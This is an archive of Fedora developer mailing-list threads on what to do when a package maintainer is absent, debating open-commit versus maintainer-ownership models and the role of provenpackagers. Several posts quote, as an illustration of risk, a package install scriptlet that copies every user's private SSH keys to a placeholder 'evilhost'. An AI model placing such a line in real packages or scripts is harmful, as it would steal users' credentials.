Re: Question about what to do if mantainer is absent
Le mercredi 15 mai 2013 à 11:40 -0700, Adam Williamson a écrit : On Wed, 2013-05-15 at 12:21 -0600, Pete Zaitcev wrote: On Tue, 14 May 2013 20:03:41 -0500 Michael Catanzaro mike.catanz...@gmail.com wrote: Well the open model has already been tried and proven in openSUSE, and they're still using it because it actually works really well. There aren't usually any issues regarding overlap of work, though admittedly that community is a smaller than Fedora's. It's hard to get away with scp /home/*/.ssh/id_rsa evilhost because every change is always reviewed by a small group of maintainers responsible for a collection of packages. How do they deal with a conflict? Imagine someone there splitting texlive into 2500 subpackages and then 100 angry contributors reverting it. What are they going to do in their open model then? FWIW, Mandriva used a similar open-commit model - compared to Fedora, basically all packagers were proven packagers and could commit to almost anything, a small range of packages were 'protected' as they are in Fedora - and I don't recall any significant issues like this actually popping up. In general, if you give F/OSS people a collaborative system, they will work collaboratively. It seems pessimistic to assume that people would get into edit wars just because they disagreed. We did have issues, but having a more exclusive model wouldn't have changed anything to that, and would indeed have slowed down the distribution. People who cannot work in a collaborative fashion will cause issues with or without rules. It would be true to say that the Mandriva package corpus overall was on average of somewhat lower quality, in terms of conforming to the distro guidelines, than Fedora's is, but I don't think that can be attributed to the collaborative model so much as to a simple lack of sufficient personpower. If anything it would have been *worse* without motivated packagers being able to go through the whole package base and fix up problems. The problem was more the lack of will to clean the package base. Each of my attempt to remove packages was met with some resistance, and there was no review on first commit, so some people were happy to push _lots_ of crappy package and then disappear. And people were too busy to clean, or to detect what is broken and remove it. (Probably the extant Mandriva forks still use such a model, but I'm not really involved in any of them so I can't say for sure.) Yep mageia still do, even if there is a greater focus on automate testing for broken deps, etc and a community who was more understanding the issue than before. Given the expectation in term of package numbers from users, and the size of the community at that time, that was ( and still is ) the only scalable model for Mageia project, and also the easiest to set up, as using a team system like Opensuse or Debian would have required more efforts, both on governance side and build system side, and since no one did the governance part, patches for build system didn't appear ( hard to code when there is no specification ) -- Michael Scherer -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
Re: Question about what to do if mantainer is absent
On Tue, 14 May 2013 20:56:59 -0500 Michael Catanzaro mike.catanz...@gmail.com wrote: Well I mean, someone actually has to press the OK button, or the change doesn't happen. Sometimes that can cause delays, at least for big undermanned projects (GNOME in openSUSE isn't too popular). But usually it works really well. Sure. I doubt that model would be accepted in Fedora, though. Different cultures. I'm not opposed to making things easier for patches or others to help, I'm just wanting to try and do it in a way that doesn't cause a pile of communications issues. ;) Yes, but I usually just want to submit the one fix and not co-maintain -- we all help out as we're able. :) Sure. Understood. Plus I mainly use GNOME programs, and GNOME maintainership in Fedora seems to be something of an exclusive cabel anyway (can't complain -- Fedora has the best GNOME, period). I don't really think this is the case... gnome folks in my experience seem happy to get help. ...snip... Yes, but that doesn't work well when the person assigned to your bug has 800 other bugs to deal with. I count four people with that many. Sure, but note that doesn't tell the whole story. I consider myself very responsive in bugzilla, and I have 312 open bugs. :) The vast majority of them are abrt bugs where I asked the submitter what they were doing and if they can duplicate it, and never got an answer. After that are a lot of bugs where the solution is not easy/clear or I am waiting on more info from reporters. Several things that can help filter this mass of stuff: 1. If your bug has a patch and is very easy/clear fix, mark it easyfix: http://fedoraproject.org/easyfix/ 2. Make it clear that there is a patch attached for the issue. Either add '[PATCH]' to the subject or something similar. And Red Hat Bugzilla is actually the *best* open source bugzilla I use, very clean and well-organized, and seems to work great when maintainers have few packages, but this is slightly broken. Well, it could be better for sure. :) I've seen this program is completely broken, here's an 8-line patch sit for two months; this program segfaults, here is an upstream patch sit about that long; this package is missing one essential Requires sit for three. The big name GNOME packagers are awesome, but not enough to deal with that many bugs, that many emails. But 20 pull requests where all that needs to be done is press OK... that's more manageable. Perhaps. If you get 20 pull requests you still need to examine them. You also might get pull requests that do things that are not what you want, especially if they are larger amounts of code. (That's not the only solution, of course; more Bugzilla-foo would work just as well. Emails to this list of unreviewed patches more than two weeks old, for example.) Yeah, there's things we could try and do for sure. Just dumping thoughts. Happy Tuesday! Thanks! kevin signature.asc Description: PGP signature -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
Re: Question about what to do if mantainer is absent
On Tue, 14 May 2013 20:03:41 -0500 Michael Catanzaro mike.catanz...@gmail.com wrote: Well the open model has already been tried and proven in openSUSE, and they're still using it because it actually works really well. There aren't usually any issues regarding overlap of work, though admittedly that community is a smaller than Fedora's. It's hard to get away with scp /home/*/.ssh/id_rsa evilhost because every change is always reviewed by a small group of maintainers responsible for a collection of packages. How do they deal with a conflict? Imagine someone there splitting texlive into 2500 subpackages and then 100 angry contributors reverting it. What are they going to do in their open model then? -- Pete -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
Re: Question about what to do if mantainer is absent
On Wed, 2013-05-15 at 12:21 -0600, Pete Zaitcev wrote: On Tue, 14 May 2013 20:03:41 -0500 Michael Catanzaro mike.catanz...@gmail.com wrote: Well the open model has already been tried and proven in openSUSE, and they're still using it because it actually works really well. There aren't usually any issues regarding overlap of work, though admittedly that community is a smaller than Fedora's. It's hard to get away with scp /home/*/.ssh/id_rsa evilhost because every change is always reviewed by a small group of maintainers responsible for a collection of packages. How do they deal with a conflict? Imagine someone there splitting texlive into 2500 subpackages and then 100 angry contributors reverting it. What are they going to do in their open model then? FWIW, Mandriva used a similar open-commit model - compared to Fedora, basically all packagers were proven packagers and could commit to almost anything, a small range of packages were 'protected' as they are in Fedora - and I don't recall any significant issues like this actually popping up. In general, if you give F/OSS people a collaborative system, they will work collaboratively. It seems pessimistic to assume that people would get into edit wars just because they disagreed. It would be true to say that the Mandriva package corpus overall was on average of somewhat lower quality, in terms of conforming to the distro guidelines, than Fedora's is, but I don't think that can be attributed to the collaborative model so much as to a simple lack of sufficient personpower. If anything it would have been *worse* without motivated packagers being able to go through the whole package base and fix up problems. (Probably the extant Mandriva forks still use such a model, but I'm not really involved in any of them so I can't say for sure.) It is worth remembering that we do have provenpackagers in Fedora, quite a lot of them, and at least some of us with provenpackager status aren't shy about using it. It's not accurate to think about Fedora as being a *strictly* maintainer-only model. -- Adam Williamson Fedora QA Community Monkey IRC: adamw | Twitter: AdamW_Fedora | identi.ca: adamwfedora http://www.happyassassin.net -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
Re: Question about what to do if mantainer is absent
On 05/15/2013 01:56 AM, Michael Catanzaro wrote: I doubt that model would be accepted in Fedora, though. Different cultures. Which difference in culture do you see? JBG -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
Re: Question about what to do if mantainer is absent
On Wed, 2013-05-15 at 12:21 -0600, Pete Zaitcev wrote: How do they deal with a conflict? Imagine someone there splitting texlive into 2500 subpackages and then 100 angry contributors reverting it. What are they going to do in their open model then? -- Pete Well the maintainers would just not accept the requests. :) But probably none would be submitted anyway, since everybody knows that would be what happens. (But #2, the texlive maintainers would never do that since the release team would not approve the maintainers' request - it's a tiered process. Again, probably not appropriate for Fedora.) What does happen sometimes is two people make unrelated changes to the same package, and open build service is not smart enough to handle that very well. (Not a problem with git.) -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
Re: Question about what to do if mantainer is absent
On Tue, May 14, 2013 at 7:56 PM, Michael Catanzaro mike.catanz...@gmail.com wrote: You can even now also mention in your bug that you are a packager and would be willing to co-maintain. Not everyone would be interested, but I suspect a lot of maintainers would be happy for the help and would add you to make your change. Yes, but I usually just want to submit the one fix and not co-maintain -- we all help out as we're able. :) You can always drop the co-maintainership after you've got the ACLs and done your work :) Speaking for myself, if I see someone's contributed a good patch in Bugzilla, I'd much sooner add them as a co-maintainer (even if it's just temporary) than have the entire Fedora project become a free-for-all. - Ken -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
Re: Question about what to do if mantainer is absent
On Wed, 15 May 2013 15:06:14 -0600 Ken Dreyer ktdre...@ktdreyer.com wrote: You can always drop the co-maintainership after you've got the ACLs and done your work :) Speaking for myself, if I see someone's contributed a good patch in Bugzilla, I'd much sooner add them as a co-maintainer (even if it's just temporary) than have the entire Fedora project become a free-for-all. Note that also we have finer grain than that... you can grant someone just commits access. Then they can commit, but won't get cc'ed on bugs, etc. kevin signature.asc Description: PGP signature -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
Question about what to do if mantainer is absent
Hello, I have a question about the unresponsive mantainer policy [1]. What is the procedure to follow if a mantainer is kindly responding to personal emails and granting access (really rarely) but is not giving ownership of the packages even after years of inactivity? I've been working mostly alone on the bacula [2] and bacula-docs [3] package for the past years; reassigning myself to bugs etc. Fortunately now there is also personnel from Redhat working on it. So far there has been almost no activity in his packages since 2009 except for a few items like the fedora_active_user.py script shows: $ ./fedora_active_user.py --user ixs --all-comments FAS password for slaanesh: Last login in FAS: ixs 2013-01-01 Last action on koji: Fri, 11 Jan 2013 package list entry created: ser in f18-final by ausil [still active] Last package update on bodhi: 2012-10-15 16:42:06 on package icecast-2.3.3-1.fc17 He has bugs open and not taken care of since 2008 (Fedora 9!) [4] [5]; reviews pending [6]; ACLs pending for a lot of packages etc. I've addressed personally Andreas Thienemann (FAS: ixs) by mail a couple of times in the last years; he had been kind and granted me access on the packages but not ownership; as he has stated on a mail to me the 9th of January he was supposed to come back with a more active role in Fedora. But so far, there wasn't any activity; at least for the packages I've looked at. What should I do in this case? Just wait or proceed with the unresponsive mantainer policy? Thanks, --Simone [1] https://fedoraproject.org/wiki/Package_maintainer_policy#What_to_do_if_a_maintainer_is_absent [2] http://pkgs.fedoraproject.org/cgit/bacula.git/stats/?period=qofs=10 [3] http://pkgs.fedoraproject.org/cgit/bacula-docs.git/stats/?period=qofs=10 [4] https://bugzilla.redhat.com/buglist.cgi?bug_status=NEWbug_status=ASSIGNEDemail1=andreas%40bawue.net%20emailassigned_to1=1emailtype1=substringlist_id=1364294query_format=advancedorder=changeddate%2Cbug_idquery_based_on= [5] https://bugzilla.redhat.com/show_bug.cgi?id=460557 [6] https://bugzilla.redhat.com/show_bug.cgi?id=472098 -- You cannot discover new oceans unless you have the courage to lose sight of the shore (R. W. Emerson). -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
Re: Question about what to do if mantainer is absent
On 05/14/2013 01:51 PM, Simone Caronni wrote: I have a question about the unresponsive mantainer policy [1]. The unresponsive maintainers policy is to be honest crap and to much in favor of the maintainer. Fesco allegedly was looking into it but you know... What really is needed here is to drop the user ownership module altogether and allow every contribute access to every component or use group ownership model on components instead followed by an email address component@fedoraproject which is the components email address and is stored in a imap folder. Contributes could easily be added or allowed to add themselves to components group and subscribed to the components imap folder in the process which yields far more and faster access to start participate and contributing then the current implemented model does. Atleast you would not have to run around half the internet chasing the maintainer just to try to see if he's active or not and if you can fix or generally start working on the component he's allegedly supposed to be maintaining. If efficiency was Fedora's strong suit FPC would have been dismantled by now... JBG -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
Re: Question about what to do if mantainer is absent
On Tue, 14 May 2013 17:13:54 + Jóhann B. Guðmundsson johan...@gmail.com wrote: On 05/14/2013 01:51 PM, Simone Caronni wrote: I have a question about the unresponsive mantainer policy [1]. The unresponsive maintainers policy is to be honest crap and to much in favor of the maintainer. Fesco allegedly was looking into it but you know... Yeah, I sure do know... Fesco folks are busy and doing lots of things in the areas they contribute to, so if people really want to move things forward, perhaps they should work on some ideas themselves? What really is needed here is to drop the user ownership module altogether and allow every contribute access to every component or use group ownership model on components instead followed by an email address component@fedoraproject which is the components email address and is stored in a imap folder. There's a number of problems with 'free for all' model. Mostly around communication. pkgdb2 is being worked on that does some good toward teams/groups of maintainers for a package (there's no 'owner' anymore, just a 'initial bugzilla contact'). I'll let the folks working on that speak to that tho. I have no idea what you mean by imap folder here. Contributes could easily be added or allowed to add themselves to components group and subscribed to the components imap folder in the process which yields far more and faster access to start participate and contributing then the current implemented model does. Do you mean 'initialcc' on bugs? or ? Atleast you would not have to run around half the internet chasing the maintainer just to try to see if he's active or not and if you can fix or generally start working on the component he's allegedly supposed to be maintaining Why not? If efficiency was Fedora's strong suit FPC would have been dismantled by now... This is unlikely to happen, so repeating your plea isn't likely to help any. kevin signature.asc Description: PGP signature -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
Re: Question about what to do if mantainer is absent
On 05/14/2013 05:45 PM, Kevin Fenzi wrote: On Tue, 14 May 2013 17:13:54 + Jóhann B. Guðmundsson johan...@gmail.com wrote: On 05/14/2013 01:51 PM, Simone Caronni wrote: I have a question about the unresponsive mantainer policy [1]. The unresponsive maintainers policy is to be honest crap and to much in favor of the maintainer. Fesco allegedly was looking into it but you know... Yeah, I sure do know... Fesco folks are busy and doing lots of things in the areas they contribute to, so if people really want to move things forward, perhaps they should work on some ideas themselves? Oh Fesco is only busy but the rest of the community is not omg let me not waste your holy time sir... What really is needed here is to drop the user ownership module altogether and allow every contribute access to every component or use group ownership model on components instead followed by an email address component@fedoraproject which is the components email address and is stored in a imap folder. There's a number of problems with 'free for all' model. Mostly around communication. pkgdb2 is being worked on that does some good toward teams/groups of maintainers for a package (there's no 'owner' anymore, just a 'initial bugzilla contact'). I'll let the folks working on that speak to that tho. I have no idea what you mean by imap folder here. Components get's their own email address component-maint@ mailto:systemd-ma...@redhat.comfedoraproject.org followed by components being always assigned to that email address. Each mail the component receives is stored in the components imap folder which contributors maintaining the component subscribed ( and anyone else for that matter ( like users that usually CC themselves on components ) that is interested in that mail ) can subscribe to. Contributes could easily be added or allowed to add themselves to components group and subscribed to the components imap folder in the process which yields far more and faster access to start participate and contributing then the current implemented model does. Do you mean 'initialcc' on bugs? or ? Atleast you would not have to run around half the internet chasing the maintainer just to try to see if he's active or not and if you can fix or generally start working on the component he's allegedly supposed to be maintaining Why not? Why not what? Do you get paid for or do you have endless time to spend hunting people down? If efficiency was Fedora's strong suit FPC would have been dismantled by now... This is unlikely to happen, so repeating your plea isn't likely to help any. My plea what plea I asked Fesco to give this a serious thought about this and they did not. From my point of view it is as unlikely to happen as you with your playbook idea or Tom with his improving the fedora user experience with design driven methodology which is just totally backwards from my pov. If Fesco can explain to me the benefits of having FPC and the overhead it follows vs proposed changes to the packaging guidelines to the packaging list followed by an ack/nack/patch approach has I'm all ears I have only experience the downside of having it first hand and when I see a inefficient process in the project I try to improve and dropping FPC and adopting the previous mentioned model seems assured win win to me. Heck the community did not have the faintest idea which tickets they even worked ( or did any work at all ) on until I literally request they adopted the fesco model so we atleast could get a faint idea what was going to be discussed on those meeting... Let's just continue to cross finger hope that those that have been chosen -- yeah that's right not elected but chosen bother to show up to do their due diligence and reach a quorum. JBG -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
Re: Question about what to do if mantainer is absent
On Tue, May 14, 2013 at 18:32:14 +, \Jóhann B. Guðmundsson\ johan...@gmail.com wrote: Oh Fesco is only busy but the rest of the community is not omg let me not waste your holy time sir... Everybody is busy. I think the point is, that if this is something you find very important, you may want to reallocate where you spend your Fedora time. You could drop some less important stuff and work on this task. -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
Re: Question about what to do if mantainer is absent
On Tue, May 14, 2013 at 2:32 PM, Jóhann B. Guðmundsson johan...@gmail.com wrote: On 05/14/2013 05:45 PM, Kevin Fenzi wrote: On Tue, 14 May 2013 17:13:54 + Jóhann B. Guðmundsson johan...@gmail.com wrote: The unresponsive maintainers policy is to be honest crap and to much in favor of the maintainer. Fesco allegedly was looking into it but you know... Yeah, I sure do know... Fesco folks are busy and doing lots of things in the areas they contribute to, so if people really want to move things forward, perhaps they should work on some ideas themselves? Oh Fesco is only busy but the rest of the community is not omg let me not waste your holy time sir... That isn't what he said. His point was scratch your own itch not we're busier than you. If you don't have time to do it yourself, you can't immediately expect others to just do it for you. If efficiency was Fedora's strong suit FPC would have been dismantled by now... This is unlikely to happen, so repeating your plea isn't likely to help any. My plea what plea I asked Fesco to give this a serious thought about this and they did not. Unless I missed something, you asked this explicitly in the meeting last week and then left before we answered: has fesco considered disassemble fpc and pick up ack/nack/patch approach for guidelines changes proposal on the packaging list to make that process more efficient? If not I suggest you look into it and what benefits the fpc brings to the project over that approach To which we replied you should open a ticket. That hasn't been done yet. Some of us expressed an initial resistance to doing anything along those lines. Personally, I have absolutely no idea why you asked the question or the reasons behind it so without further information I'd be disinclined to do anything. That's what the ticket is for. If Fesco can explain to me the benefits of having FPC and the overhead it follows vs proposed changes to the packaging guidelines to the packaging The FPC should be able to explain this themselves. Have you asked them? list followed by an ack/nack/patch approach has I'm all ears I have only experience the downside of having it first hand and when I see a inefficient process in the project I try to improve and dropping FPC and adopting the previous mentioned model seems assured win win to me. There's no such thing as an assured win. Heck the community did not have the faintest idea which tickets they even worked ( or did any work at all ) on until I literally request they adopted the fesco model so we atleast could get a faint idea what was going to be discussed on those meeting... Sounds like working with them has paid off nicely. Maybe you should do more of that. Let's just continue to cross finger hope that those that have been chosen -- yeah that's right not elected but chosen bother to show up to do their due diligence and reach a quorum. The elections are open, and the voting is not rigged. You can be displeased all you like about who gets elected and what they choose (or not choose) to look at, but that doesn't make those committees a farce. josh -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
Re: Question about what to do if mantainer is absent
On 05/14/2013 02:32 PM, Jóhann B. Guðmundsson wrote: On 05/14/2013 05:45 PM, Kevin Fenzi wrote: Yeah, I sure do know... Fesco folks are busy and doing lots of things in the areas they contribute to, so if people really want to move things forward, perhaps they should work on some ideas themselves? Oh Fesco is only busy but the rest of the community is not omg let me not waste your holy time sir... When you always respond in this kind of language, you make people not to want to work with you https://fedoraproject.org/code-of-conduct If you have ideas to improve the current policy, write your own and file a ticket. There is no need for this drama Rahul -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
Re: Question about what to do if mantainer is absent
On Tue, May 14, 2013 at 11:45:40AM -0600, Kevin Fenzi wrote: On Tue, 14 May 2013 17:13:54 + Jóhann B. Guðmundsson johan...@gmail.com wrote: What really is needed here is to drop the user ownership module altogether and allow every contribute access to every component or use group ownership model on components instead followed by an email address component@fedoraproject which is the components email address and is stored in a imap folder. There's a number of problems with 'free for all' model. Mostly around communication. I suspect the main one is someone putting: %post scp /home/*/.ssh/id_rsa evilhost: into a commonly used package, or something equivalent but more subtle than that. Basically you're giving root access to everyone with a FAS packager account (not that the current situation is that much better). Rich. -- Richard Jones, Virtualization Group, Red Hat http://people.redhat.com/~rjones Read my programming blog: http://rwmj.wordpress.com Fedora now supports 80 OCaml packages (the OPEN alternative to F#) -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
Re: Question about what to do if mantainer is absent
On Tue, 14 May 2013 21:04:59 +0100 Richard W.M. Jones rjo...@redhat.com wrote: I suspect the main one is someone putting: %post scp /home/*/.ssh/id_rsa evilhost: into a commonly used package, or something equivalent but more subtle than that. Basically you're giving root access to everyone with a FAS packager account (not that the current situation is that much better). well, no, thats not what I was talking about, that is a completely different issue. ;) I was referring to the fact that if we had a collection of around 14,000 packages and a pool of around 1400 maintainers if everyone just wandered around working on whatever they liked you would get X people fixing the same bug and duplicating effort, X people talking to upstream and telling them different things, X people figuring out a problem and waiting for something to happen for a real solution and someone else wandering in and fixing it in a poor/hacky way, X people telling users one decision and Y people telling them another, etc. If you have a small set of interested maintainers they can communicate between the group and divide work and come to consensus. Things don't scale to do that over the entire collection on every decision. To the issue you refer to above, it's already somewhat that you trust anyone maintaining packages you install, but additionally, there's a lot of reporting and logging that goes on, so if someone did do something like this it could be detected and fixed. You already also trust the upstreams for all the packages you install as well. kevin signature.asc Description: PGP signature -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
Re: Question about what to do if mantainer is absent
On Tue, 14 May 2013 18:32:14 + Jóhann B. Guðmundsson johan...@gmail.com wrote: Oh Fesco is only busy but the rest of the community is not omg let me not waste your holy time sir... I did not say you were not busy, just that it's pretty clear that fesco members are. ...snip... I have no idea what you mean by imap folder here. Components get's their own email address component-maint@ mailto:systemd-ma...@redhat.comfedoraproject.org followed by components being always assigned to that email address. Each mail the component receives is stored in the components imap folder which contributors maintaining the component subscribed ( and anyone else for that matter ( like users that usually CC themselves on components ) that is interested in that mail ) can subscribe to. I don't think this would scale very well. We would need to run some kind of massive imap server and over time packages like the kernel or ones that get large patches would grow massively. Why not let each person manage emails in whatever way they wish as now? ...snip... Atleast you would not have to run around half the internet chasing the maintainer just to try to see if he's active or not and if you can fix or generally start working on the component he's allegedly supposed to be maintaining Why not? Why not what? Do you get paid for or do you have endless time to spend hunting people down? To be more verbose, why does having a fedora imap server help you with this problem? If you don't see any posts from a maintainer that still doesn't mean that they aren't doing other things related to the package and are still very much alive. I don't see your proposal as helping this in any way. My plea what plea I asked Fesco to give this a serious thought about this and they did not. Well, I can't speak for anyone but myself, but you will need to put forth some kind of compelling argument. So far I have not been convinced. ...snip... IMHO, it's not on FESCo to convince you that we shouldn't change. It's on you to present a compelling argument as to why we should change a process that many think is working fine. kevin signature.asc Description: PGP signature -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
Re: Question about what to do if mantainer is absent
On Tue, 2013-05-14 at 14:20 -0600, Kevin Fenzi wrote: On Tue, 14 May 2013 21:04:59 +0100 Richard W.M. Jones rjo...@redhat.com wrote: I suspect the main one is someone putting: %post scp /home/*/.ssh/id_rsa evilhost: into a commonly used package, or something equivalent but more subtle than that. Basically you're giving root access to everyone with a FAS packager account (not that the current situation is that much better). well, no, thats not what I was talking about, that is a completely different issue. ;) I was referring to the fact that if we had a collection of around 14,000 packages and a pool of around 1400 maintainers if everyone just wandered around working on whatever they liked you would get X people fixing the same bug and duplicating effort, X people talking to upstream and telling them different things, X people figuring out a problem and waiting for something to happen for a real solution and someone else wandering in and fixing it in a poor/hacky way, X people telling users one decision and Y people telling them another, etc. If you have a small set of interested maintainers they can communicate between the group and divide work and come to consensus. Things don't scale to do that over the entire collection on every decision. Well the open model has already been tried and proven in openSUSE, and they're still using it because it actually works really well. There aren't usually any issues regarding overlap of work, though admittedly that community is a smaller than Fedora's. It's hard to get away with scp /home/*/.ssh/id_rsa evilhost because every change is always reviewed by a small group of maintainers responsible for a collection of packages. I certainly think Fedora could benefit a lot from at least a slightly more collaborative approach. For example, in openSUSE when there is a problem with an really easy fix, I make a bugzilla report, fix it, my request gets accepted (or not) a few days later, and problem solved. In Fedora when there is a problem with an easy fix, I make a bugzilla report, it gets assigned to someone awesome enough to have 200-800 other open bugs to deal with, and nothing happens for two months until a provenpackager stumbles upon the bug. We already use git, so the simple solution with minimal change to the status quo is to leave the maintainership model as-is and add pull requests. (That said I'm not advocating this as I have zero Fedora packaging experience; I'm just trying to get this conversation off the ground.) signature.asc Description: This is a digitally signed message part -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
Re: Question about what to do if mantainer is absent
On Tue, 14 May 2013 20:03:41 -0500 Michael Catanzaro mike.catanz...@gmail.com wrote: Well the open model has already been tried and proven in openSUSE, and they're still using it because it actually works really well. There aren't usually any issues regarding overlap of work, though admittedly that community is a smaller than Fedora's. Well, I think our model is working pretty well too. ;) Nothing is perfect for sure... It's hard to get away with scp /home/*/.ssh/id_rsa evilhost because every change is always reviewed by a small group of maintainers responsible for a collection of packages. Sure, we have a scm-commits list as well. I don't read every commit, but I do skim them. I can think of lots of times people pointed out issues they saw in the commit messages. I encourage folks to subscribe and read commit emails. I certainly think Fedora could benefit a lot from at least a slightly more collaborative approach. For example, in openSUSE when there is a problem with an really easy fix, I make a bugzilla report, fix it, my request gets accepted (or not) a few days later, and problem solved. In Fedora when there is a problem with an easy fix, I make a bugzilla report, it gets assigned to someone awesome enough to have 200-800 other open bugs to deal with, and nothing happens for two months until a provenpackager stumbles upon the bug. You can even now also mention in your bug that you are a packager and would be willing to co-maintain. Not everyone would be interested, but I suspect a lot of maintainers would be happy for the help and would add you to make your change. We already use git, so the simple solution with minimal change to the status quo is to leave the maintainership model as-is and add pull requests. (That said I'm not advocating this as I have zero Fedora packaging experience; I'm just trying to get this conversation off the ground.) Well, you can already do this, but perhaps not as automated and nice as github. You can attach a patch to a bug, no? kevin signature.asc Description: PGP signature -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
Re: Question about what to do if mantainer is absent
On 05/14/2013 09:09 PM, Kevin Fenzi wrote: You can even now also mention in your bug that you are a packager and would be willing to co-maintain. Not everyone would be interested, but I suspect a lot of maintainers would be happy for the help and would add you to make your change Yes assuming they see it. If I am not responding to a bug within a few days, it is possibly because I haven't caught on my bug mails and sometimes I am weeks behind. I am happier if the person requesting the change just do it especially if it is a obvious or easy change and I wouldn't mind at all but that is only possible now if that person is a provenpackager. We used to allow every packager to commit changes but that didn't work out very well in the past. Perhaps it is time to revisit it though the github model is very very popular and I suspect adopting something like that would bring more drive by contributions. Rahul -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
Re: Question about what to do if mantainer is absent
On Tue, 2013-05-14 at 19:09 -0600, Kevin Fenzi wrote: Sure, we have a scm-commits list as well. I don't read every commit, but I do skim them. I can think of lots of times people pointed out issues they saw in the commit messages. Well I mean, someone actually has to press the OK button, or the change doesn't happen. Sometimes that can cause delays, at least for big undermanned projects (GNOME in openSUSE isn't too popular). But usually it works really well. I doubt that model would be accepted in Fedora, though. Different cultures. You can even now also mention in your bug that you are a packager and would be willing to co-maintain. Not everyone would be interested, but I suspect a lot of maintainers would be happy for the help and would add you to make your change. Yes, but I usually just want to submit the one fix and not co-maintain -- we all help out as we're able. :) Plus I mainly use GNOME programs, and GNOME maintainership in Fedora seems to be something of an exclusive cabel anyway (can't complain -- Fedora has the best GNOME, period). We already use git, so the simple solution with minimal change to the status quo is to leave the maintainership model as-is and add pull requests. (That said I'm not advocating this as I have zero Fedora packaging experience; I'm just trying to get this conversation off the ground.) Well, you can already do this, but perhaps not as automated and nice as github. You can attach a patch to a bug, no? kevin Yes, but that doesn't work well when the person assigned to your bug has 800 other bugs to deal with. I count four people with that many. And Red Hat Bugzilla is actually the *best* open source bugzilla I use, very clean and well-organized, and seems to work great when maintainers have few packages, but this is slightly broken. I've seen this program is completely broken, here's an 8-line patch sit for two months; this program segfaults, here is an upstream patch sit about that long; this package is missing one essential Requires sit for three. The big name GNOME packagers are awesome, but not enough to deal with that many bugs, that many emails. But 20 pull requests where all that needs to be done is press OK... that's more manageable. (That's not the only solution, of course; more Bugzilla-foo would work just as well. Emails to this list of unreviewed patches more than two weeks old, for example.) Just dumping thoughts. Happy Tuesday! signature.asc Description: This is a digitally signed message part -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
Re: Question about what to do if mantainer is absent
On Tue, 2013-05-14 at 20:56 -0500, Michael Catanzaro wrote: On Tue, 2013-05-14 at 19:09 -0600, Kevin Fenzi wrote: Plus I mainly use GNOME programs, and GNOME maintainership in Fedora seems to be something of an exclusive cabel anyway (can't complain -- Fedora has the best GNOME, period). That's just not true. I once submitted a patch to the spec file of the (now retired) gnome-games package, and I was asked to become a co-maintainer so that I could push it myself. I didn't even offer to co-maintain, it was offered to me. Even the approveacls permission. That doesn't seem like an exclusive cabel to me. -- Mathieu -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
